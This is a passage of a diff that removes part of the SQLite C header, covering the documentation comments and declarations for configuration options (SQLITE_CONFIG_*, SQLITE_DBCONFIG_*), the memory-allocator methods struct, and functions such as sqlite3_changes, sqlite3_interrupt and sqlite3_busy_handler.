the first argument). -** -** The second argument to sqlite3_db_config(D,V,...) is the -** [SQLITE_DBCONFIG_LOOKASIDE | configuration verb] - an integer code -** that indicates what aspect of the [database connection] is being configured. -** Subsequent arguments vary depending on the configuration verb. -** -** ^Calls to sqlite3_db_config() return SQLITE_OK if and only if -** the call is considered successful. -*/ -SQLITE_API int sqlite3_db_config(sqlite3*, int op, ...); - -/* -** CAPI3REF: Memory Allocation Routines -** -** An instance of this object defines the interface between SQLite -** and low-level memory allocation routines. -** -** This object is used in only one place in the SQLite interface. -** A pointer to an instance of this object is the argument to -** [sqlite3_config()] when the configuration option is -** [SQLITE_CONFIG_MALLOC] or [SQLITE_CONFIG_GETMALLOC]. -** By creating an instance of this object -** and passing it to [sqlite3_config]([SQLITE_CONFIG_MALLOC]) -** during configuration, an application can specify an alternative -** memory allocation subsystem for SQLite to use for all of its -** dynamic memory needs. -** -** Note that SQLite comes with several [built-in memory allocators] -** that are perfectly adequate for the overwhelming majority of applications -** and that this object is only useful to a tiny minority of applications -** with specialized memory allocation requirements. This object is -** also used during testing of SQLite in order to specify an alternative -** memory allocator that simulates memory out-of-memory conditions in -** order to verify that SQLite recovers gracefully from such -** conditions. -** -** The xMalloc, xRealloc, and xFree methods must work like the -** malloc(), realloc() and free() functions from the standard C library. -** ^SQLite guarantees that the second argument to -** xRealloc is always a value returned by a prior call to xRoundup. -** -** xSize should return the allocated size of a memory allocation -** previously obtained from xMalloc or xRealloc. The allocated size -** is always at least as big as the requested size but may be larger. -** -** The xRoundup method returns what would be the allocated size of -** a memory allocation given a particular requested size. Most memory -** allocators round up memory allocations at least to the next multiple -** of 8. Some allocators round up to a larger multiple or to a power of 2. -** Every memory allocation request coming in through [sqlite3_malloc()] -** or [sqlite3_realloc()] first calls xRoundup. If xRoundup returns 0, -** that causes the corresponding memory allocation to fail. -** -** The xInit method initializes the memory allocator. (For example, -** it might allocate any require mutexes or initialize internal data -** structures. The xShutdown method is invoked (indirectly) by -** [sqlite3_shutdown()] and should deallocate any resources acquired -** by xInit. The pAppData pointer is used as the only parameter to -** xInit and xShutdown. -** -** SQLite holds the [SQLITE_MUTEX_STATIC_MASTER] mutex when it invokes -** the xInit method, so the xInit method need not be threadsafe. The -** xShutdown method is only called from [sqlite3_shutdown()] so it does -** not need to be threadsafe either. For all other methods, SQLite -** holds the [SQLITE_MUTEX_STATIC_MEM] mutex as long as the -** [SQLITE_CONFIG_MEMSTATUS] configuration option is turned on (which -** it is by default) and so the methods are automatically serialized. -** However, if [SQLITE_CONFIG_MEMSTATUS] is disabled, then the other -** methods must be threadsafe or else make their own arrangements for -** serialization. -** -** SQLite will never invoke xInit() more than once without an intervening -** call to xShutdown(). -*/ -typedef struct sqlite3_mem_methods sqlite3_mem_methods; -struct sqlite3_mem_methods { - void *(*xMalloc)(int); /* Memory allocation function */ - void (*xFree)(void*); /* Free a prior allocation */ - void *(*xRealloc)(void*,int); /* Resize an allocation */ - int (*xSize)(void*); /* Return the size of an allocation */ - int (*xRoundup)(int); /* Round up request size to allocation size */ - int (*xInit)(void*); /* Initialize the memory allocator */ - void (*xShutdown)(void*); /* Deinitialize the memory allocator */ - void *pAppData; /* Argument to xInit() and xShutdown() */ -}; - -/* -** CAPI3REF: Configuration Options -** KEYWORDS: {configuration option} -** -** These constants are the available integer configuration options that -** can be passed as the first argument to the [sqlite3_config()] interface. -** -** New configuration options may be added in future releases of SQLite. -** Existing configuration options might be discontinued. Applications -** should check the return code from [sqlite3_config()] to make sure that -** the call worked. The [sqlite3_config()] interface will return a -** non-zero [error code] if a discontinued or unsupported configuration option -** is invoked. -** -**
-** [[SQLITE_CONFIG_SINGLETHREAD]]
SQLITE_CONFIG_SINGLETHREAD
-**
There are no arguments to this option. ^This option sets the -** [threading mode] to Single-thread. In other words, it disables -** all mutexing and puts SQLite into a mode where it can only be used -** by a single thread. ^If SQLite is compiled with -** the [SQLITE_THREADSAFE | SQLITE_THREADSAFE=0] compile-time option then -** it is not possible to change the [threading mode] from its default -** value of Single-thread and so [sqlite3_config()] will return -** [SQLITE_ERROR] if called with the SQLITE_CONFIG_SINGLETHREAD -** configuration option.
-** -** [[SQLITE_CONFIG_MULTITHREAD]]
SQLITE_CONFIG_MULTITHREAD
-**
There are no arguments to this option. ^This option sets the -** [threading mode] to Multi-thread. In other words, it disables -** mutexing on [database connection] and [prepared statement] objects. -** The application is responsible for serializing access to -** [database connections] and [prepared statements]. But other mutexes -** are enabled so that SQLite will be safe to use in a multi-threaded -** environment as long as no two threads attempt to use the same -** [database connection] at the same time. ^If SQLite is compiled with -** the [SQLITE_THREADSAFE | SQLITE_THREADSAFE=0] compile-time option then -** it is not possible to set the Multi-thread [threading mode] and -** [sqlite3_config()] will return [SQLITE_ERROR] if called with the -** SQLITE_CONFIG_MULTITHREAD configuration option.
-** -** [[SQLITE_CONFIG_SERIALIZED]]
SQLITE_CONFIG_SERIALIZED
-**
There are no arguments to this option. ^This option sets the -** [threading mode] to Serialized. In other words, this option enables -** all mutexes including the recursive -** mutexes on [database connection] and [prepared statement] objects. -** In this mode (which is the default when SQLite is compiled with -** [SQLITE_THREADSAFE=1]) the SQLite library will itself serialize access -** to [database connections] and [prepared statements] so that the -** application is free to use the same [database connection] or the -** same [prepared statement] in different threads at the same time. -** ^If SQLite is compiled with -** the [SQLITE_THREADSAFE | SQLITE_THREADSAFE=0] compile-time option then -** it is not possible to set the Serialized [threading mode] and -** [sqlite3_config()] will return [SQLITE_ERROR] if called with the -** SQLITE_CONFIG_SERIALIZED configuration option.
-** -** [[SQLITE_CONFIG_MALLOC]]
SQLITE_CONFIG_MALLOC
-**
^(This option takes a single argument which is a pointer to an -** instance of the [sqlite3_mem_methods] structure. The argument specifies -** alternative low-level memory allocation routines to be used in place of -** the memory allocation routines built into SQLite.)^ ^SQLite makes -** its own private copy of the content of the [sqlite3_mem_methods] structure -** before the [sqlite3_config()] call returns.
-** -** [[SQLITE_CONFIG_GETMALLOC]]
SQLITE_CONFIG_GETMALLOC
-**
^(This option takes a single argument which is a pointer to an -** instance of the [sqlite3_mem_methods] structure. The [sqlite3_mem_methods] -** structure is filled with the currently defined memory allocation routines.)^ -** This option can be used to overload the default memory allocation -** routines with a wrapper that simulations memory allocation failure or -** tracks memory usage, for example.
-** -** [[SQLITE_CONFIG_MEMSTATUS]]
SQLITE_CONFIG_MEMSTATUS
-**
^This option takes single argument of type int, interpreted as a -** boolean, which enables or disables the collection of memory allocation -** statistics. ^(When memory allocation statistics are disabled, the -** following SQLite interfaces become non-operational: -**
    -**
  • [sqlite3_memory_used()] -**
  • [sqlite3_memory_highwater()] -**
  • [sqlite3_soft_heap_limit64()] -**
  • [sqlite3_status()] -**
)^ -** ^Memory allocation statistics are enabled by default unless SQLite is -** compiled with [SQLITE_DEFAULT_MEMSTATUS]=0 in which case memory -** allocation statistics are disabled by default. -**
-** -** [[SQLITE_CONFIG_SCRATCH]]
SQLITE_CONFIG_SCRATCH
-**
^This option specifies a static memory buffer that SQLite can use for -** scratch memory. There are three arguments: A pointer an 8-byte -** aligned memory buffer from which the scratch allocations will be -** drawn, the size of each scratch allocation (sz), -** and the maximum number of scratch allocations (N). The sz -** argument must be a multiple of 16. -** The first argument must be a pointer to an 8-byte aligned buffer -** of at least sz*N bytes of memory. -** ^SQLite will use no more than two scratch buffers per thread. So -** N should be set to twice the expected maximum number of threads. -** ^SQLite will never require a scratch buffer that is more than 6 -** times the database page size. ^If SQLite needs needs additional -** scratch memory beyond what is provided by this configuration option, then -** [sqlite3_malloc()] will be used to obtain the memory needed.
-** -** [[SQLITE_CONFIG_PAGECACHE]]
SQLITE_CONFIG_PAGECACHE
-**
^This option specifies a static memory buffer that SQLite can use for -** the database page cache with the default page cache implementation. -** This configuration should not be used if an application-define page -** cache implementation is loaded using the SQLITE_CONFIG_PCACHE2 option. -** There are three arguments to this option: A pointer to 8-byte aligned -** memory, the size of each page buffer (sz), and the number of pages (N). -** The sz argument should be the size of the largest database page -** (a power of two between 512 and 32768) plus a little extra for each -** page header. ^The page header size is 20 to 40 bytes depending on -** the host architecture. ^It is harmless, apart from the wasted memory, -** to make sz a little too large. The first -** argument should point to an allocation of at least sz*N bytes of memory. -** ^SQLite will use the memory provided by the first argument to satisfy its -** memory needs for the first N pages that it adds to cache. ^If additional -** page cache memory is needed beyond what is provided by this option, then -** SQLite goes to [sqlite3_malloc()] for the additional storage space. -** The pointer in the first argument must -** be aligned to an 8-byte boundary or subsequent behavior of SQLite -** will be undefined.
-** -** [[SQLITE_CONFIG_HEAP]]
SQLITE_CONFIG_HEAP
-**
^This option specifies a static memory buffer that SQLite will use -** for all of its dynamic memory allocation needs beyond those provided -** for by [SQLITE_CONFIG_SCRATCH] and [SQLITE_CONFIG_PAGECACHE]. -** There are three arguments: An 8-byte aligned pointer to the memory, -** the number of bytes in the memory buffer, and the minimum allocation size. -** ^If the first pointer (the memory pointer) is NULL, then SQLite reverts -** to using its default memory allocator (the system malloc() implementation), -** undoing any prior invocation of [SQLITE_CONFIG_MALLOC]. ^If the -** memory pointer is not NULL and either [SQLITE_ENABLE_MEMSYS3] or -** [SQLITE_ENABLE_MEMSYS5] are defined, then the alternative memory -** allocator is engaged to handle all of SQLites memory allocation needs. -** The first pointer (the memory pointer) must be aligned to an 8-byte -** boundary or subsequent behavior of SQLite will be undefined. -** The minimum allocation size is capped at 2**12. Reasonable values -** for the minimum allocation size are 2**5 through 2**8.
-** -** [[SQLITE_CONFIG_MUTEX]]
SQLITE_CONFIG_MUTEX
-**
^(This option takes a single argument which is a pointer to an -** instance of the [sqlite3_mutex_methods] structure. The argument specifies -** alternative low-level mutex routines to be used in place -** the mutex routines built into SQLite.)^ ^SQLite makes a copy of the -** content of the [sqlite3_mutex_methods] structure before the call to -** [sqlite3_config()] returns. ^If SQLite is compiled with -** the [SQLITE_THREADSAFE | SQLITE_THREADSAFE=0] compile-time option then -** the entire mutexing subsystem is omitted from the build and hence calls to -** [sqlite3_config()] with the SQLITE_CONFIG_MUTEX configuration option will -** return [SQLITE_ERROR].
-** -** [[SQLITE_CONFIG_GETMUTEX]]
SQLITE_CONFIG_GETMUTEX
-**
^(This option takes a single argument which is a pointer to an -** instance of the [sqlite3_mutex_methods] structure. The -** [sqlite3_mutex_methods] -** structure is filled with the currently defined mutex routines.)^ -** This option can be used to overload the default mutex allocation -** routines with a wrapper used to track mutex usage for performance -** profiling or testing, for example. ^If SQLite is compiled with -** the [SQLITE_THREADSAFE | SQLITE_THREADSAFE=0] compile-time option then -** the entire mutexing subsystem is omitted from the build and hence calls to -** [sqlite3_config()] with the SQLITE_CONFIG_GETMUTEX configuration option will -** return [SQLITE_ERROR].
-** -** [[SQLITE_CONFIG_LOOKASIDE]]
SQLITE_CONFIG_LOOKASIDE
-**
^(This option takes two arguments that determine the default -** memory allocation for the lookaside memory allocator on each -** [database connection]. The first argument is the -** size of each lookaside buffer slot and the second is the number of -** slots allocated to each database connection.)^ ^(This option sets the -** default lookaside size. The [SQLITE_DBCONFIG_LOOKASIDE] -** verb to [sqlite3_db_config()] can be used to change the lookaside -** configuration on individual connections.)^
-** -** [[SQLITE_CONFIG_PCACHE2]]
SQLITE_CONFIG_PCACHE2
-**
^(This option takes a single argument which is a pointer to -** an [sqlite3_pcache_methods2] object. This object specifies the interface -** to a custom page cache implementation.)^ ^SQLite makes a copy of the -** object and uses it for page cache memory allocations.
-** -** [[SQLITE_CONFIG_GETPCACHE2]]
SQLITE_CONFIG_GETPCACHE2
-**
^(This option takes a single argument which is a pointer to an -** [sqlite3_pcache_methods2] object. SQLite copies of the current -** page cache implementation into that object.)^
-** -** [[SQLITE_CONFIG_LOG]]
SQLITE_CONFIG_LOG
-**
The SQLITE_CONFIG_LOG option is used to configure the SQLite -** global [error log]. -** (^The SQLITE_CONFIG_LOG option takes two arguments: a pointer to a -** function with a call signature of void(*)(void*,int,const char*), -** and a pointer to void. ^If the function pointer is not NULL, it is -** invoked by [sqlite3_log()] to process each logging event. ^If the -** function pointer is NULL, the [sqlite3_log()] interface becomes a no-op. -** ^The void pointer that is the second argument to SQLITE_CONFIG_LOG is -** passed through as the first parameter to the application-defined logger -** function whenever that function is invoked. ^The second parameter to -** the logger function is a copy of the first parameter to the corresponding -** [sqlite3_log()] call and is intended to be a [result code] or an -** [extended result code]. ^The third parameter passed to the logger is -** log message after formatting via [sqlite3_snprintf()]. -** The SQLite logging interface is not reentrant; the logger function -** supplied by the application must not invoke any SQLite interface. -** In a multi-threaded application, the application-defined logger -** function must be threadsafe.
-** -** [[SQLITE_CONFIG_URI]]
SQLITE_CONFIG_URI -**
This option takes a single argument of type int. If non-zero, then -** URI handling is globally enabled. If the parameter is zero, then URI handling -** is globally disabled. If URI handling is globally enabled, all filenames -** passed to [sqlite3_open()], [sqlite3_open_v2()], [sqlite3_open16()] or -** specified as part of [ATTACH] commands are interpreted as URIs, regardless -** of whether or not the [SQLITE_OPEN_URI] flag is set when the database -** connection is opened. If it is globally disabled, filenames are -** only interpreted as URIs if the SQLITE_OPEN_URI flag is set when the -** database connection is opened. By default, URI handling is globally -** disabled. The default value may be changed by compiling with the -** [SQLITE_USE_URI] symbol defined. -** -** [[SQLITE_CONFIG_COVERING_INDEX_SCAN]]
SQLITE_CONFIG_COVERING_INDEX_SCAN -**
This option takes a single integer argument which is interpreted as -** a boolean in order to enable or disable the use of covering indices for -** full table scans in the query optimizer. The default setting is determined -** by the [SQLITE_ALLOW_COVERING_INDEX_SCAN] compile-time option, or is "on" -** if that compile-time option is omitted. -** The ability to disable the use of covering indices for full table scans -** is because some incorrectly coded legacy applications might malfunction -** malfunction when the optimization is enabled. Providing the ability to -** disable the optimization allows the older, buggy application code to work -** without change even with newer versions of SQLite. -** -** [[SQLITE_CONFIG_PCACHE]] [[SQLITE_CONFIG_GETPCACHE]] -**
SQLITE_CONFIG_PCACHE and SQLITE_CONFIG_GETPCACHE -**
These options are obsolete and should not be used by new code. -** They are retained for backwards compatibility but are now no-ops. -**
-** -** [[SQLITE_CONFIG_SQLLOG]] -**
SQLITE_CONFIG_SQLLOG -**
This option is only available if sqlite is compiled with the -** [SQLITE_ENABLE_SQLLOG] pre-processor macro defined. The first argument should -** be a pointer to a function of type void(*)(void*,sqlite3*,const char*, int). -** The second should be of type (void*). The callback is invoked by the library -** in three separate circumstances, identified by the value passed as the -** fourth parameter. If the fourth parameter is 0, then the database connection -** passed as the second argument has just been opened. The third argument -** points to a buffer containing the name of the main database file. If the -** fourth parameter is 1, then the SQL statement that the third parameter -** points to has just been executed. Or, if the fourth parameter is 2, then -** the connection being passed as the second parameter is being closed. The -** third parameter is passed NULL In this case. An example of using this -** configuration option can be seen in the "test_sqllog.c" source file in -** the canonical SQLite source tree.
-** -** [[SQLITE_CONFIG_MMAP_SIZE]] -**
SQLITE_CONFIG_MMAP_SIZE -**
SQLITE_CONFIG_MMAP_SIZE takes two 64-bit integer (sqlite3_int64) values -** that are the default mmap size limit (the default setting for -** [PRAGMA mmap_size]) and the maximum allowed mmap size limit. -** The default setting can be overridden by each database connection using -** either the [PRAGMA mmap_size] command, or by using the -** [SQLITE_FCNTL_MMAP_SIZE] file control. The maximum allowed mmap size -** cannot be changed at run-time. Nor may the maximum allowed mmap size -** exceed the compile-time maximum mmap size set by the -** [SQLITE_MAX_MMAP_SIZE] compile-time option. -** If either argument to this option is negative, then that argument is -** changed to its compile-time default. -**
-*/ -#define SQLITE_CONFIG_SINGLETHREAD 1 /* nil */ -#define SQLITE_CONFIG_MULTITHREAD 2 /* nil */ -#define SQLITE_CONFIG_SERIALIZED 3 /* nil */ -#define SQLITE_CONFIG_MALLOC 4 /* sqlite3_mem_methods* */ -#define SQLITE_CONFIG_GETMALLOC 5 /* sqlite3_mem_methods* */ -#define SQLITE_CONFIG_SCRATCH 6 /* void*, int sz, int N */ -#define SQLITE_CONFIG_PAGECACHE 7 /* void*, int sz, int N */ -#define SQLITE_CONFIG_HEAP 8 /* void*, int nByte, int min */ -#define SQLITE_CONFIG_MEMSTATUS 9 /* boolean */ -#define SQLITE_CONFIG_MUTEX 10 /* sqlite3_mutex_methods* */ -#define SQLITE_CONFIG_GETMUTEX 11 /* sqlite3_mutex_methods* */ -/* previously SQLITE_CONFIG_CHUNKALLOC 12 which is now unused. */ -#define SQLITE_CONFIG_LOOKASIDE 13 /* int int */ -#define SQLITE_CONFIG_PCACHE 14 /* no-op */ -#define SQLITE_CONFIG_GETPCACHE 15 /* no-op */ -#define SQLITE_CONFIG_LOG 16 /* xFunc, void* */ -#define SQLITE_CONFIG_URI 17 /* int */ -#define SQLITE_CONFIG_PCACHE2 18 /* sqlite3_pcache_methods2* */ -#define SQLITE_CONFIG_GETPCACHE2 19 /* sqlite3_pcache_methods2* */ -#define SQLITE_CONFIG_COVERING_INDEX_SCAN 20 /* int */ -#define SQLITE_CONFIG_SQLLOG 21 /* xSqllog, void* */ -#define SQLITE_CONFIG_MMAP_SIZE 22 /* sqlite3_int64, sqlite3_int64 */ - -/* -** CAPI3REF: Database Connection Configuration Options -** -** These constants are the available integer configuration options that -** can be passed as the second argument to the [sqlite3_db_config()] interface. -** -** New configuration options may be added in future releases of SQLite. -** Existing configuration options might be discontinued. Applications -** should check the return code from [sqlite3_db_config()] to make sure that -** the call worked. ^The [sqlite3_db_config()] interface will return a -** non-zero [error code] if a discontinued or unsupported configuration option -** is invoked. -** -**
-**
SQLITE_DBCONFIG_LOOKASIDE
-**
^This option takes three additional arguments that determine the -** [lookaside memory allocator] configuration for the [database connection]. -** ^The first argument (the third parameter to [sqlite3_db_config()] is a -** pointer to a memory buffer to use for lookaside memory. -** ^The first argument after the SQLITE_DBCONFIG_LOOKASIDE verb -** may be NULL in which case SQLite will allocate the -** lookaside buffer itself using [sqlite3_malloc()]. ^The second argument is the -** size of each lookaside buffer slot. ^The third argument is the number of -** slots. The size of the buffer in the first argument must be greater than -** or equal to the product of the second and third arguments. The buffer -** must be aligned to an 8-byte boundary. ^If the second argument to -** SQLITE_DBCONFIG_LOOKASIDE is not a multiple of 8, it is internally -** rounded down to the next smaller multiple of 8. ^(The lookaside memory -** configuration for a database connection can only be changed when that -** connection is not currently using lookaside memory, or in other words -** when the "current value" returned by -** [sqlite3_db_status](D,[SQLITE_CONFIG_LOOKASIDE],...) is zero. -** Any attempt to change the lookaside memory configuration when lookaside -** memory is in use leaves the configuration unchanged and returns -** [SQLITE_BUSY].)^
-** -**
SQLITE_DBCONFIG_ENABLE_FKEY
-**
^This option is used to enable or disable the enforcement of -** [foreign key constraints]. There should be two additional arguments. -** The first argument is an integer which is 0 to disable FK enforcement, -** positive to enable FK enforcement or negative to leave FK enforcement -** unchanged. The second parameter is a pointer to an integer into which -** is written 0 or 1 to indicate whether FK enforcement is off or on -** following this call. The second parameter may be a NULL pointer, in -** which case the FK enforcement setting is not reported back.
-** -**
SQLITE_DBCONFIG_ENABLE_TRIGGER
-**
^This option is used to enable or disable [CREATE TRIGGER | triggers]. -** There should be two additional arguments. -** The first argument is an integer which is 0 to disable triggers, -** positive to enable triggers or negative to leave the setting unchanged. -** The second parameter is a pointer to an integer into which -** is written 0 or 1 to indicate whether triggers are disabled or enabled -** following this call. The second parameter may be a NULL pointer, in -** which case the trigger setting is not reported back.
-** -**
-*/ -#define SQLITE_DBCONFIG_LOOKASIDE 1001 /* void* int int */ -#define SQLITE_DBCONFIG_ENABLE_FKEY 1002 /* int int* */ -#define SQLITE_DBCONFIG_ENABLE_TRIGGER 1003 /* int int* */ - - -/* -** CAPI3REF: Enable Or Disable Extended Result Codes -** -** ^The sqlite3_extended_result_codes() routine enables or disables the -** [extended result codes] feature of SQLite. ^The extended result -** codes are disabled by default for historical compatibility. -*/ -SQLITE_API int sqlite3_extended_result_codes(sqlite3*, int onoff); - -/* -** CAPI3REF: Last Insert Rowid -** -** ^Each entry in an SQLite table has a unique 64-bit signed -** integer key called the [ROWID | "rowid"]. ^The rowid is always available -** as an undeclared column named ROWID, OID, or _ROWID_ as long as those -** names are not also used by explicitly declared columns. ^If -** the table has a column of type [INTEGER PRIMARY KEY] then that column -** is another alias for the rowid. -** -** ^This routine returns the [rowid] of the most recent -** successful [INSERT] into the database from the [database connection] -** in the first argument. ^As of SQLite version 3.7.7, this routines -** records the last insert rowid of both ordinary tables and [virtual tables]. -** ^If no successful [INSERT]s -** have ever occurred on that database connection, zero is returned. -** -** ^(If an [INSERT] occurs within a trigger or within a [virtual table] -** method, then this routine will return the [rowid] of the inserted -** row as long as the trigger or virtual table method is running. -** But once the trigger or virtual table method ends, the value returned -** by this routine reverts to what it was before the trigger or virtual -** table method began.)^ -** -** ^An [INSERT] that fails due to a constraint violation is not a -** successful [INSERT] and does not change the value returned by this -** routine. ^Thus INSERT OR FAIL, INSERT OR IGNORE, INSERT OR ROLLBACK, -** and INSERT OR ABORT make no changes to the return value of this -** routine when their insertion fails. ^(When INSERT OR REPLACE -** encounters a constraint violation, it does not fail. The -** INSERT continues to completion after deleting rows that caused -** the constraint problem so INSERT OR REPLACE will always change -** the return value of this interface.)^ -** -** ^For the purposes of this routine, an [INSERT] is considered to -** be successful even if it is subsequently rolled back. -** -** This function is accessible to SQL statements via the -** [last_insert_rowid() SQL function]. -** -** If a separate thread performs a new [INSERT] on the same -** database connection while the [sqlite3_last_insert_rowid()] -** function is running and thus changes the last insert [rowid], -** then the value returned by [sqlite3_last_insert_rowid()] is -** unpredictable and might not equal either the old or the new -** last insert [rowid]. -*/ -SQLITE_API sqlite3_int64 sqlite3_last_insert_rowid(sqlite3*); - -/* -** CAPI3REF: Count The Number Of Rows Modified -** -** ^This function returns the number of database rows that were changed -** or inserted or deleted by the most recently completed SQL statement -** on the [database connection] specified by the first parameter. -** ^(Only changes that are directly specified by the [INSERT], [UPDATE], -** or [DELETE] statement are counted. Auxiliary changes caused by -** triggers or [foreign key actions] are not counted.)^ Use the -** [sqlite3_total_changes()] function to find the total number of changes -** including changes caused by triggers and foreign key actions. -** -** ^Changes to a view that are simulated by an [INSTEAD OF trigger] -** are not counted. Only real table changes are counted. -** -** ^(A "row change" is a change to a single row of a single table -** caused by an INSERT, DELETE, or UPDATE statement. Rows that -** are changed as side effects of [REPLACE] constraint resolution, -** rollback, ABORT processing, [DROP TABLE], or by any other -** mechanisms do not count as direct row changes.)^ -** -** A "trigger context" is a scope of execution that begins and -** ends with the script of a [CREATE TRIGGER | trigger]. -** Most SQL statements are -** evaluated outside of any trigger. This is the "top level" -** trigger context. If a trigger fires from the top level, a -** new trigger context is entered for the duration of that one -** trigger. Subtriggers create subcontexts for their duration. -** -** ^Calling [sqlite3_exec()] or [sqlite3_step()] recursively does -** not create a new trigger context. -** -** ^This function returns the number of direct row changes in the -** most recent INSERT, UPDATE, or DELETE statement within the same -** trigger context. -** -** ^Thus, when called from the top level, this function returns the -** number of changes in the most recent INSERT, UPDATE, or DELETE -** that also occurred at the top level. ^(Within the body of a trigger, -** the sqlite3_changes() interface can be called to find the number of -** changes in the most recently completed INSERT, UPDATE, or DELETE -** statement within the body of the same trigger. -** However, the number returned does not include changes -** caused by subtriggers since those have their own context.)^ -** -** See also the [sqlite3_total_changes()] interface, the -** [count_changes pragma], and the [changes() SQL function]. -** -** If a separate thread makes changes on the same database connection -** while [sqlite3_changes()] is running then the value returned -** is unpredictable and not meaningful. -*/ -SQLITE_API int sqlite3_changes(sqlite3*); - -/* -** CAPI3REF: Total Number Of Rows Modified -** -** ^This function returns the number of row changes caused by [INSERT], -** [UPDATE] or [DELETE] statements since the [database connection] was opened. -** ^(The count returned by sqlite3_total_changes() includes all changes -** from all [CREATE TRIGGER | trigger] contexts and changes made by -** [foreign key actions]. However, -** the count does not include changes used to implement [REPLACE] constraints, -** do rollbacks or ABORT processing, or [DROP TABLE] processing. The -** count does not include rows of views that fire an [INSTEAD OF trigger], -** though if the INSTEAD OF trigger makes changes of its own, those changes -** are counted.)^ -** ^The sqlite3_total_changes() function counts the changes as soon as -** the statement that makes them is completed (when the statement handle -** is passed to [sqlite3_reset()] or [sqlite3_finalize()]). -** -** See also the [sqlite3_changes()] interface, the -** [count_changes pragma], and the [total_changes() SQL function]. -** -** If a separate thread makes changes on the same database connection -** while [sqlite3_total_changes()] is running then the value -** returned is unpredictable and not meaningful. -*/ -SQLITE_API int sqlite3_total_changes(sqlite3*); - -/* -** CAPI3REF: Interrupt A Long-Running Query -** -** ^This function causes any pending database operation to abort and -** return at its earliest opportunity. This routine is typically -** called in response to a user action such as pressing "Cancel" -** or Ctrl-C where the user wants a long query operation to halt -** immediately. -** -** ^It is safe to call this routine from a thread different from the -** thread that is currently running the database operation. But it -** is not safe to call this routine with a [database connection] that -** is closed or might close before sqlite3_interrupt() returns. -** -** ^If an SQL operation is very nearly finished at the time when -** sqlite3_interrupt() is called, then it might not have an opportunity -** to be interrupted and might continue to completion. -** -** ^An SQL operation that is interrupted will return [SQLITE_INTERRUPT]. -** ^If the interrupted SQL operation is an INSERT, UPDATE, or DELETE -** that is inside an explicit transaction, then the entire transaction -** will be rolled back automatically. -** -** ^The sqlite3_interrupt(D) call is in effect until all currently running -** SQL statements on [database connection] D complete. ^Any new SQL statements -** that are started after the sqlite3_interrupt() call and before the -** running statements reaches zero are interrupted as if they had been -** running prior to the sqlite3_interrupt() call. ^New SQL statements -** that are started after the running statement count reaches zero are -** not effected by the sqlite3_interrupt(). -** ^A call to sqlite3_interrupt(D) that occurs when there are no running -** SQL statements is a no-op and has no effect on SQL statements -** that are started after the sqlite3_interrupt() call returns. -** -** If the database connection closes while [sqlite3_interrupt()] -** is running then bad things will likely happen. -*/ -SQLITE_API void sqlite3_interrupt(sqlite3*); - -/* -** CAPI3REF: Determine If An SQL Statement Is Complete -** -** These routines are useful during command-line input to determine if the -** currently entered text seems to form a complete SQL statement or -** if additional input is needed before sending the text into -** SQLite for parsing. ^These routines return 1 if the input string -** appears to be a complete SQL statement. ^A statement is judged to be -** complete if it ends with a semicolon token and is not a prefix of a -** well-formed CREATE TRIGGER statement. ^Semicolons that are embedded within -** string literals or quoted identifier names or comments are not -** independent tokens (they are part of the token in which they are -** embedded) and thus do not count as a statement terminator. ^Whitespace -** and comments that follow the final semicolon are ignored. -** -** ^These routines return 0 if the statement is incomplete. ^If a -** memory allocation fails, then SQLITE_NOMEM is returned. -** -** ^These routines do not parse the SQL statements thus -** will not detect syntactically incorrect SQL. -** -** ^(If SQLite has not been initialized using [sqlite3_initialize()] prior -** to invoking sqlite3_complete16() then sqlite3_initialize() is invoked -** automatically by sqlite3_complete16(). If that initialization fails, -** then the return value from sqlite3_complete16() will be non-zero -** regardless of whether or not the input SQL is complete.)^ -** -** The input to [sqlite3_complete()] must be a zero-terminated -** UTF-8 string. -** -** The input to [sqlite3_complete16()] must be a zero-terminated -** UTF-16 string in native byte order. -*/ -SQLITE_API int sqlite3_complete(const char *sql); -SQLITE_API int sqlite3_complete16(const void *sql); - -/* -** CAPI3REF: Register A Callback To Handle SQLITE_BUSY Errors -** -** ^This routine sets a callback function that might be invoked whenever -** an attempt is made to open a database table that another thread -** or process has locked. -** -** ^If the busy callback is NULL, then [SQLITE_BUSY] or [SQLITE_IOERR_BLOCKED] -** is returned immediately upon encountering the lock. ^If the busy callback -** is not NULL, then the callback might be invoked with two arguments. -** -** ^The first argument to the busy handler is a copy of the void* pointer which -** is the third argument to sqlite3_busy_handler(). ^The second argument to -** the busy handler callback is the number of times that the busy handler has -** been invoked for this locking event. ^If the -** busy callback returns 0, then no additional attempts are made to -** access the database and [SQLITE_BUSY] or [SQLITE_IOERR_BLOCKED] is returned. -** ^If the callback returns non-zero, then another attempt -** is made to open the database for reading and the cycle repeats. -** -** The presence of a busy handler does not guarantee that it will be invoked -** when there is lock contention. ^If SQLite determines that invoking the busy -** handler could result in a deadlock, it will go ahead and return [SQLITE_BUSY] -** or [SQLITE_IOERR_BLOCKED] instead of invoking the busy handler. -** Consider a scenario where one process is holding a read lock that -** it is trying to promote to a reserved lock and -** a second process is holding a reserved lock that it is trying -** to promote to an exclusive lock. The first process cannot proceed -** because it is blocked by the second and the second process cannot -** proceed because it is blocked by the first. If both processes -** invoke the busy handlers, neither will make any progress. Therefore, -** SQLite returns [SQLITE_BUSY] for the first process, hoping that this -** will induce the first process to release its read lock and allow -** the second process to proceed. -** -** ^The default busy callback is NULL. -** -** ^The [SQLITE_BUSY] error is converted to [SQLITE_IOERR_BLOCKED] -** when SQLite is in the middle of a large transaction where all the -** changes will not fit into the in-memory cache. SQLite will -** already hold a RESERVED lock on the database file, but it needs -** to promote this lock to EXCLUSIVE so that it can spill cache -** pages into the database file without harm to concurrent -** readers. ^If it is unable to promote the lock, then the in-memory -** cache will be left in an inconsistent state and so the error -** code is promoted from the relatively benign [SQLITE_BUSY] to -** the more severe [SQLITE_IOERR_BLOCKED]. ^This error code promotion -** forces an automatic rollback of the changes. See the -** -** CorruptionFollowingBusyError wiki page for a discussion of why -** this is important. -** -** ^(There can only be a single busy handler defined for each -** [database connection]. Setting a new busy handler clears any -** previously set handler.)^ ^Note that calling [sqlite3_busy_timeout()] -** will also set or clear the busy handler. -** -** The busy callback should not take any actions which modify the -** database connection that invoked the busy handler. Any such actions -** result in undefined behavior. -** -** A busy handler must not close the database connection -** or [prepared statement] that invoked the busy handler. -*/ -SQLITE_API int sqlite3_busy_handler(sqlite3*, int(*)(void*,int), void*); - -/* -** CAPI3REF: Set A Busy Timeout -** -** ^This routine sets a [sqlite3_busy_handler | busy handler] that sleeps -** for a specified amount of time when a table is locked. ^The handler -** will sleep multiple times until at least "ms" milliseconds of sleeping -** have accumulated. ^After at least "ms" milliseconds of sleeping, -** the handler returns 0 which causes [sqlite3_step()] to return -** [SQLITE_BUSY] or 